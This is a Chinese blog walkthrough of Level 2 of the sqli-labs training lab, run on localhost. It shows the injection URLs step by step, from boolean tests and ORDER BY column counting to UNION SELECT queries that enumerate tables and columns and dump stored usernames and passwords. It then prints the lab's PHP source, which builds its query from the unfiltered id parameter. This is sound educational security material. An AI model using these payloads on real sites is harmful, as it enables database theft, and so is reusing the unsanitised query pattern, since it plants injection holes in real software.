sqli-labs-master第二关:Error Based- Intiger

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介:

接上篇博客:http://blog.51cto.com/tdcqvip/2060816


来到第二关:


http://127.0.0.1/sqli-labs-master/Less-2/


1.png


访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1


2.png


判断是否有注入点:

and 1 = 1 返回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23


3.png


and 1 = 2 返回失败

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23


4.png


说明存在注入点:

order by  n 查看字段

当n=3时返回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3  %23



5.png


当=4时返回错误

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4  %23


6.png


说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3  %23


7.png


通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字


8.png



我们通过上图可以看到数据库是“security” 版本是5.5.53

接下来我们查看数据库security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23


9.png


通过上图可以看到有users表

查看users表里的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

10.png


接下来就是查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1,username,password from users where id = 2 %23

11.png


结束:

声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句


接下来看看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html PUBLIC  "-//W3C//DTD XHTML 1.0 Transitional//EN"  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns= "http://www.w3.org/1999/xhtml" >
<head>
<meta http-equiv= "Content-Type"  content= "text/html; charset=utf-8"  />
<title>Less-2 **Error Based- Intiger**</title>
</head>
 
<body bgcolor= "#000000" >
 
 
 
 
<div style= " margin-top:60px;color:#FFF; font-size:23px; text-align:center" >Welcome&nbsp;&nbsp;&nbsp;<font color= "#FF0000" > Dhakkan </font><br>
<font size= "3"  color= "#FFFF00" >
 
 
<?php
//including the Mysql connect parameters.
include ( "../sql-connections/sql-connect.php" );
error_reporting (0);
// take the variables
if (isset( $_GET [ 'id' ]))
{
$id = $_GET [ 'id' ];
//logging the connection parameters to a file for analysis.
$fp = fopen ( 'result.txt' , 'a' );
fwrite( $fp , 'ID:' . $id . "\n" );
fclose( $fp );
 
 
// connectivity 
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1" ;
$result =mysql_query( $sql );
$row  = mysql_fetch_array( $result );
echo  $sql ;
echo  "<br>" ;
 
     if ( $row )
     {
       echo  "<font size='5' color= '#99FF00'>" ;
       echo  'Your Login name:' $row [ 'username' ];
       echo  "<br>" ;
       echo  'Your Password:'  . $row [ 'password' ];
       echo  "</font>" ;
       }
     else 
     {
     echo  '<font color= "#FFFF00">' ;
     print_r(mysql_error());
     echo  "</font>" ;  
     }
}
     else
        
         echo  "Please input the ID as parameter with numeric value" ;
         }
 
?>
 
 
</font> </div></br></br></br><center>
<img src= "../images/Less-2.jpg"  /></center>
</body>
</html>


通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

1
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1" ;

这句,没有“''”符号。


利用方式大致相同。


第三关尽快更新





本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2061568

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
Mac Source Tree拉代码报错,remote: CODING 提示: Authentication failed. remote: 认证失败,请确认您输入了正确的账号密码。 fatal...
Mac Source Tree拉代码报错,remote: CODING 提示: Authentication failed. remote: 认证失败,请确认您输入了正确的账号密码。 fatal...
1535 0
Mac Source Tree拉代码报错,remote: CODING 提示: Authentication failed. remote: 认证失败,请确认您输入了正确的账号密码。 fatal...
|
5月前
|
iOS开发 MacOS
mac AnyConnect 连接报错 Posture Assessment Failed: Hostscan Initialize error.
mac AnyConnect 连接报错 Posture Assessment Failed: Hostscan Initialize error.
mac AnyConnect 连接报错 Posture Assessment Failed: Hostscan Initialize error.
|
9月前
|
安全 关系型数据库 MySQL
【报错】sqli-labs靶场搭建出现“Unable to connect to the database: security”
【报错】sqli-labs靶场搭建出现“Unable to connect to the database: security”
611 0
|
12月前
|
Web App开发 缓存 网络协议
【SEED Labs】DNS Rebinding Attack Lab
【SEED Labs】DNS Rebinding Attack Lab
185 0
|
数据库
Symantec Backup Exec Agent 推送错误Error connecting to the remote computer. Ensure that the computer is available, has WMI enabled and is not blocked by a
如果在Symantec Backup Server上推送Symantec Backup Exec Agent到数据库服务器遇到“"Error connecting to the remote computer. Ensure that the computer is available, has WMI enabled and is not blocked by a firewall"这个错误, 如下截图所示     那么完全可以参考下面官方提供的三个解决方案解决问题,几次碰到这个问题,每次都要搜索一下,特此记录一下,方便以后查找。
1309 0
|
SQL 存储 安全
SQL Agent Job 报&ldquo;Access to the remote server is denied because the current security context is not trusted&rdquo;
SQL Server 2005(Microsoft SQL Server 2005 - 9.00.5000.00)下的一个作业执行一个存储过程,存储过程中动态SQL语句使用链接服务器(Linked Servers),从另外一台SQL Server服务器获取数据。
1320 0